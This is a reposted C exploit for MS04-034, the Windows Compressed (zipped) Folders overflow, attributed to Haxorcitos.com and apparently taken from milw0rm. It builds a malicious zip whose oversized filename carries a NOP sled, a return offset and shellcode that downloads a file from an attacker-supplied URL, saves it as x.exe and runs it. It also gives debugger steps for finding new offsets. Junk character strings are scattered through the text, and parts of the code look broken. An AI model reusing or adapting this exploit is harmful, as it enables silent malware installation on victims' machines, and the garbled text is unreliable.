(MS04-034)Microsoft Windows Vulnerability in Compressed (zipped) Folders

韩冰

/* Microsoft Windows Vulnerability in Compressed (zipped) Folders (MS04-034) ; ^7 S8 x' _7 a* m3 y+ o* * Tested under Windows XP SP0 Spanish/English 7 F( Q, o. ] g5 B( D2 J3 T* 4 q( S }& X9 ?# t! Y8 `* Original Advisory: http://www.eeye.com/html/research/advisories/AD20041012A.html * Exploit Date: 21/10/2004 * * d: p! g0 l' s1 C9 P' ]* Tarako - Haxorcitos.com 2004 * * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS" ( s( {3 t% l" q' e# ~* B* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION * WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED. * * Greetings t #haxorcitos, #dsr and #localhost @efnet $ A3 L/ A/ c* |4 A* 3 J1 l" R7 \$ ^+ w' n* " R$ H/ ]" q3 y* y* How to get new offsets: 3 L8 _0 i0 p% A* 1) attach debugger (i.e ollydbg) to explorer.exe ( E9 ~/ {& n% Y2 [9 \# u* 2) open the zip file as a folder and add or move some files to it 5 x a& a$ s6 n* 3) search in the explorer.exe memory the shellcode and get the addresses * 7 s5 T/ c: V/ n# {- d& g*/ $ e0 ?- ?8 n: o* A % Y# M2 w, ], U+ e8 y#include <stdio.h> #include <windows.h> , C7 ?9 e; Q; p7 y 4 k/ G% t9 v& w* w#pragma pack(1) 5 E: r' E/ Z* L8 J! |3 v/ F+ O' x#define DATOS "Tarako-Haxorcitos.com" 7 m4 P8 p2 g# l8 z. [3 R 6 b+ `+ B$ Q0 Y L1 b( Itypedef struct { ' a7 g+ }4 D* s- y' C. C/ c5 RDWORD Signature; // PK.. 4 bytes (0x04034B50) WORD VersionNeeded; WORD GeneralPurposeFlag; // para el data descriptor y demas WORD CompressionMethod; WORD ModFileTime; WORD ModFileDate; DWORD Crc32; DWORD CompressedSize; * M& l- u* U( ?, S& J# WDWORD UncompressedSize; WORD FilenameLength; WORD ExtraFieldLength; // filename (variable size) , r. b x3 A3 z, ~( s// extra field (variable size) 6 @) U c* n0 g( F1 I- b# H}TOPHEADER; typedef struct { / k# C7 f: i% n1 E3 F3 Y$ \DWORD Signature; // PK.. 4 bytes (0x02014B50) 8 T5 h3 z1 j# D6 V T9 w6 aWORD MadeVersion; ' C w+ D$ b1 M) IWORD VersionNeeded; % L% p7 q5 n& a( F d, f0 {WORD GeneralPurposeFlag; // para el data descriptor y demas 8 |# l( I6 C* j i7 BWORD CompressionMethod; 3 }/ H7 t) U& I3 KWORD ModFileTime; s8 z h8 F) rWORD ModFileDate; 2 t9 X3 Q$ L$ s4 [2 Z7 ~DWORD Crc32; ! E$ N4 B3 G1 G3 uDWORD CompressedSize; DWORD UncompressedSize; % K: P! s; f3 m7 q/ MWORD FilenameLength; , e2 z" I3 I0 m! f& nWORD ExtraFieldLength; _" G& \3 z" ~1 P. AWORD FileCommentLength; - `7 q9 x- @, L2 EWORD DiskNumberStart; WORD InternalFileAttributes; , ~! R9 Q/ w+ `, KDWORD ExternalFileAttributes; * A' p: R2 G9 rDWORD RelativeOffsetOfLocalHeader; : L% v2 G9 W- e; J' [$ X2 S// filename (variable size) // extra field (variable size) // file comment (variable size) ) Z5 W z+ _1 P/ _, q/ s$ V1 y}MIDDLEHEADER; 0 A n+ l$ z. d ?/ _' o1 i 6 s D9 ^- M+ ?) i* G, Qtypedef struct { 1 I+ z! A+ ^. k8 [" DDWORD Signature; // PK.. 4 bytes (0x06054B50) " G/ I* a0 S. V) N! i0 OWORD NumOfThisDisk; : l9 c% W! g7 OWORD NumDisckStartCentralDirectory; WORD NumEntriesCentralDirOnThisDisk; 3 @( R9 n' R4 u( AWORD TotalNumEntriesCentralDir; 2 P1 H# E& ~$ `' v( u; eDWORD SizeCentralDirectory; DWORD OffsetCentraDirRespectStartDiskNum; WORD ZipCommentLength; 5 [- Y3 X7 ?2 | w$ w/ F// zipfile comment (variable size) }BOTTOMHEADER; + @$ ?2 {% Q" a8 { /* * download shellcode - RaiSe - raise@netsearch-ezine.com 7 K1 T& o7 u4 y4 D*/ . i. ?, G6 A$ H% f% e9 S, z6 Hchar shellcode1[] = "\xEB\x5D\x5F\x8B\xF7\x80\x3F" - E" O- f6 [1 x/ X"\x08\x75\x03\x80\x37\x08\x47\x80\x3F\x01\x75\xF2\x33\xC9\xB5\x05\x8B\xFE\x2B\xF9" "\x8B\xEF\xB5\x03\x2B\xF9\x8B\xD7\xB2\x7C\x8B\xE2\x89\x75\xFC\xB5\x40\xC1\xE1\x08" "\x89\x4D\xF8\x8D\x49\x3C\x8B\x09\x03\x4D\xF8\x8D\x49\x7F\x41\x8B\x09\x03\x4D\xF8" "\x8B\xD9\x8B\x49\x0C\x03\x4D\xF8\x81\x39\x4B\x45\x52\x4E\x74\x07\x8D\x5B\x14\x8B" "\xCB\xEB\xEB\x33\xC0\x53\xEB\x02\xEB\x7C\x8B\x33\x03\x75\xF8\x80\x7E\x03\x80\x74" "\x14\x8B\x3E\x03\x7D\xF8\x47\x47\x56\x8B\x75\xFC\x33\xC9\xB1\x0D\xF3\xA6\x5E\x74" * n& p4 j/ o1 F; J# {"\x06\x40\x8D\x76\x04\xEB\xE0\x5B\x8B\x5B\x10\x03\x5D\xF8\xC1\xE0\x02\x03\xD8\x8B" "\x03\x89\x45\xF4\x8B\x5D\xFC\x8D\x5B\x0D\x53\xFF\xD0\x89\x45\xF0\x8D\x5B\x09\x53" "\x8B\x45\xF4\xFF\xD0\x89\x45\xEC\x8B\x45\xF0\x8B\x40\x3C\x03\x45\xF0\x8B\x40\x78" + u' f1 \& G2 T4 C4 {: K"\x03\x45\xF0\x89\x45\xE8\x8B\x40\x20\x03\x45\xF0\x8D\x7B\x08\x33\xD2\x57\x8B\x30" $ @( x/ _3 b+ d/ |* o"\x03\x75\xF0\x33\xC9\xB1\x0F\xF3\xA6\x74\x0B\x5F\xEB\x02\xEB\x7A\x42\x8D\x40\x04" % x$ E+ l+ E3 { K' t* ]9 F# M+ c"\xEB\xE7\x8B\x5D\xE8\x33\xC9\x53\x5F\x8B\x7F\x24\x03\x7D\xF0\xD1\xE2\x03\xFA\x66" ; i1 Y' A" ?( g; G* z5 Z"\x8B\x0F\x8B\x5B\x1C\x03\x5D\xF0\xC1\xE1\x02\x03\xD9\x8B\x1B\x03\x5D\xF0\x89\x5D" 3 N3 {; u% W Y$ e"\xE4\x8B\x55\xFC\x8D\x52\x2D\x8D\x7D\xE0\x33\xC9\xB1\x06\x51\x52\x52\x8B\x75\xF0" % t- ~0 R. i3 ]' G1 O"\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB\xF9\x42\xE2\xE8\xB1\x04" "\x51\x52\x52\x8B\x75\xEC\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB" "\xF9\x42\xE2\xE8\xFC\x52\x33\xD2\xB6\x1F\xC1\xE2\x08\x52\x33\xD2\xEB\x02\xEB\x7C" "\x52\x8B\x45\xD8\xFF\xD0\x5B\x89\x45\xB8\x33\xD2\x52\x52\x52\x52\x53\x8B\x45\xC8" 4 f* X+ i8 U5 t( `"\xFF\xD0\x89\x45\xB4\x8D\x7B\x08\x33\xD2\x52\xB6\x80\xC1\xE2\x10\x52\x33\xD2\x52" "\x52\x57\x50\x8B\x45\xC4\xFF\xD0\x89\x45\xB0\x8D\x55\xAC\x52\x33\xD2\xB6\x1F\xC1" "\xE2\x08\x52\x8B\x4D\xB8\x51\x50\x8B\x45\xC0\xFF\xD0\x8B\x4D\xB0\x51\x8B\x45\xBC" "\xFF\xD0\x8B\x4D\xB4\x51\x8B\x45\xBC\xFF\xD0\x33\xD2\x52\x43\x43\x53\x8B\x45\xE0" % z& l3 Y5 v0 A! e"\xFF\xD0\x89\x45\xA8\x8B\x7D\xAC\x57\x8B\x55\xB8\x52\x50\x8B\x45\xDC\xFF\xD0\x8B" $ r7 X; b7 q" [; |2 G+ o"\x55\xA8\xEB\x02\xEB\x17\x52\x8B\x45\xD4\xFF\xD0\x33\xD2\x52\x53\x8B\x45\xD0\xFF" ' r/ V8 \9 k- {% J2 f) X"\xD0\x33\xD2\x52\x8B\x45\xCC\xFF\xD0\xE8\x0D\xFE\xFF\xFF\x4C\x6F\x61\x64\x4C\x69" "\x62\x72\x61\x72\x79\x41\x08\x4B\x45\x52\x4E\x45\x4C\x33\x32\x08\x57\x49\x4E\x49" "\x4E\x45\x54\x08\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72\x65\x73\x73\x08\x5F" 1 Y9 h( I& \: b% _$ e7 Z"\x6C\x63\x72\x65\x61\x74\x08\x5F\x6C\x77\x72\x69\x74\x65\x08\x47\x6C\x6F\x62\x61" "\x6C\x41\x6C\x6C\x6F\x63\x08\x5F\x6C\x63\x6C\x6F\x73\x65\x08\x57\x69\x6E\x45\x78" "\x65\x63\x08\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73\x08\x49\x6E\x74\x65\x72" "\x6E\x65\x74\x4F\x70\x65\x6E\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x4F\x70\x65" "\x6E\x55\x72\x6C\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x52\x65\x61\x64\x46\x69" "\x6C\x65\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x43\x6C\x6F\x73\x65\x48\x61\x6E\x64" ; D* c5 T9 m3 ~: Z1 _"\x6C\x65\x08\x72\x08\x78\x2E\x65\x78\x65\x08"; char shellcode2[] ="\x08\x01"; 2 M7 s8 H3 W- B2 G& r3 D & z4 P8 ^& H' i: L0 A9 S Achar offset[]="\x41\x41\x41\x41"; * r& ~% i* s2 e) S [char jmpbelow[]= "\xeb\x06\x90\x90"; 7 }# `! P$ }2 p2 E! c% K! Oint main(int argc,char *argv[]) { - R) J E1 q8 k& _FILE *ZipFile; ' s. u: e3 d* H% F$ F0 _" a% vTOPHEADER *Cabecera1; 9 J+ L) M- W* `5 ~9 e: H; wMIDDLEHEADER *Cabecera2; BOTTOMHEADER *Cabecera3; . S3 w% z. ~0 K' Y! K! F. MDWORD c; , @( r1 m6 Q2 }5 C, W& MUINT i; char *filename; char *url; printf("\n MS04-034 - Vulnerability in Compressed (zipped) Folders POC"); 8 T5 |) w3 g& o$ p; g& N. @, F: uprintf("\n Tarako - Tarako[AT]Haxorcitos.com\n"); 7 r# n- A+ |, v) Q2 B if (argc!=2) { printf("\n\n Usage: %s <URL> \n",argv[0]); exit(1); } + J% Z) R# Z! z- }8 D' }9 W url=argv[1]; # k; u& x/ u3 `: r5 Aprintf("\n * URL: %s",url); # h( }" R X3 e1 ?& |6 o ! q" B' q; o) L6 G! ~8 ]0 V 8 ]7 h& E N3 I- Rif (!(ZipFile=fopen("prueba.zip","w+b"))) { ; \3 s0 [8 z7 }* Nprintf("\n [E] fopen()"); exit(1); ) V7 j. q1 q2 z3 d S} . F( }* l9 t/ n* m! r7 y c=0x8000; // filename length ; w% X" x( ^* U8 r. ffilename=(char*)malloc(sizeof(char)*c); 4 e+ T; T3 w& @! T1 @0 wmemset(filename,0,sizeof(filename)); 8 o1 V. s6 v) g & f* w4 }4 p3 F; nfor( i=0x0;i<c;i++) filename=(BYTE)0x90; % O2 P6 k3 a4 w, Y1 }memcpy(filename+0x1814,jmpbelow,strlen(jmpbelow)); ( L L: X- I4 c- X) I* pmemcpy(filename+0x1818,offset,strlen(offset)); , b0 v$ b: h" N) L0 Q 4 y" n* G" d# I5 @. W3 t4 Ememcpy(filename+0x7000,shellcode1,sizeof(shellcode1)-1); memcpy(filename+0x7000+sizeof(shellcode1)-1,url,strlen(url)); memcpy(filename+0x7000+sizeof(shellcode1)+strlen(url)-1,shellcode2,sizeof(shellcode2)-1); 9 c0 N* D; B xmemcpy(filename+(c-4),".txt",4); * ~- y( ]" q+ N( L Cabecera1=(TOPHEADER*)malloc(sizeof(TOPHEADER)); Cabecera2=(MIDDLEHEADER*)malloc(sizeof(MIDDLEHEADER)); Cabecera3=(BOTTOMHEADER*)malloc(sizeof(BOTTOMHEADER)); 4 b- W- @* ]' `memset(Cabecera1,0,sizeof(TOPHEADER)); ' n5 \8 @. F# ~2 S6 Ememset(Cabecera2,0,sizeof(MIDDLEHEADER)); ( @+ W& L3 e- hmemset(Cabecera3,0,sizeof(BOTTOMHEADER)); " W6 s3 i% g3 V t6 b t; e /////////////////////////////////////////////////////////////////// // TOPHEADER - J# \2 O \* E- V3 Q/////////////////////////////////////////////////////////////////// , n9 D6 v. `: y# @Cabecera1->Signature=0x04034B50; // DWORD 4 n& h# i, M( B O: e: c) fCabecera1->VersionNeeded=0x000A; // WORD Cabecera1->GeneralPurposeFlag=0x0002; // WORD para el data descriptor y demas Cabecera1->CompressionMethod=0x0000; // WORD Cabecera1->ModFileTime=0x1362; // WORD Cabecera1->ModFileDate=0x3154; // WORD Cabecera1->Crc32=0x85B36639; // DWORD $ A' f6 |$ }) [1 T# @3 dCabecera1->CompressedSize=0x00000015; // DWORD 7 B* w! ?1 V# @. T7 Q" d* ~! m. QCabecera1->UncompressedSize=0x00000015; // DWORD Cabecera1->FilenameLength=(WORD)c; // WORD 0x0400;//strlen(filename); Cabecera1->ExtraFieldLength=0x0000; // WORD 3 O0 m$ v1 }- L3 ]; R6 K; n; g/////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////// : n+ D3 w2 p; J: i3 Z8 z" q3 Z// MIDDLEHEADER - P& ^' M& T$ }& y/////////////////////////////////////////////////////////////////// Cabecera2->Signature=0x02014B50; // DWORD Cabecera2->MadeVersion=0x0014; // WORD Cabecera2->VersionNeeded=0x000A; // WORD & q2 j, {4 f* VCabecera2->GeneralPurposeFlag=0x0002; // WORD 5 m' C C/ a+ L8 J( YCabecera2->CompressionMethod=0x0000; // WORD Cabecera2->ModFileTime=0x1362; // WORD Cabecera2->ModFileDate=0x3154; // WORD Cabecera2->Crc32=0x85B36639; // DWORD Cabecera2->CompressedSize=0x00000015; // DWORD Cabecera2->UncompressedSize=0x00000015; // DWORD , t- w+ C' B# B% a9 x* MCabecera2->FilenameLength=(WORD)c; // WORD 0x0400;//strlen(filename); Cabecera2->ExtraFieldLength=0x0000; // WORD Cabecera2->FileCommentLength=0x0000; // WORD Cabecera2->DiskNumberStart=0x0000; // WORD ) \& v8 K# z" q" `- N; Z- n' [" WCabecera2->InternalFileAttributes=0x0001; // WORD Cabecera2->ExternalFileAttributes=0x00000020; // DWORD Cabecera2->RelativeOffsetOfLocalHeader=0x00000000; // DWORD $ g( k: U" Q) E: C8 ], M% L/////////////////////////////////////////////////////////////////// ) b m- L8 \: x+ n( ?* m t8 y/////////////////////////////////////////////////////////////////// ! |) G' T9 j' U5 t9 E// BOTTOMHEADER /////////////////////////////////////////////////////////////////// + G" ~5 w4 U3 V* `1 nCabecera3->Signature=0x06054B50; // DWORD Cabecera3->NumOfThisDisk=0x0000; // WORD 6 H8 v# u2 j4 o/ V/ r2 {3 g6 CCabecera3->NumDisckStartCentralDirectory=0x0000; // WORD # K4 I7 i% Y& i; d! ~( sCabecera3->NumEntriesCentralDirOnThisDisk=0x0001; // WORD Cabecera3->TotalNumEntriesCentralDir=0x0001; // WORD Cabecera3->SizeCentralDirectory=sizeof(MIDDLEHEADER)+c; // DWORD Cabecera3->OffsetCentraDirRespectStartDiskNum=sizeof(TOPHEADER)+strlen(DATOS)+c; // DWORD Cabecera3->ZipCommentLength=0x0000; // WORD /////////////////////////////////////////////////////////////////// fwrite(Cabecera1, sizeof(TOPHEADER), 1,ZipFile); ( h6 M, K% o7 _$ d. Yfwrite(filename, c, 1,ZipFile); " t) c& N2 L& B. ^fwrite(DATOS,strlen(DATOS),1,ZipFile); fwrite(Cabecera2, sizeof(MIDDLEHEADER), 1,ZipFile); # X# [% u/ p' ?5 Y2 F" Dfwrite(filename, c, 1,ZipFile); ; X1 j) \- K- Q% i# B& I( lfwrite(Cabecera3, sizeof(BOTTOMHEADER), 1,ZipFile); " \& P6 ?& F/ s6 L' Yfclose(ZipFile); 7 _' U) v4 v9 Q6 T# t# aprintf("\n * prueba.zip created\n"); 1 _6 C0 \( p4 T, v" a$ {( n/ Vreturn 1; }//downloaded from milw0rm.com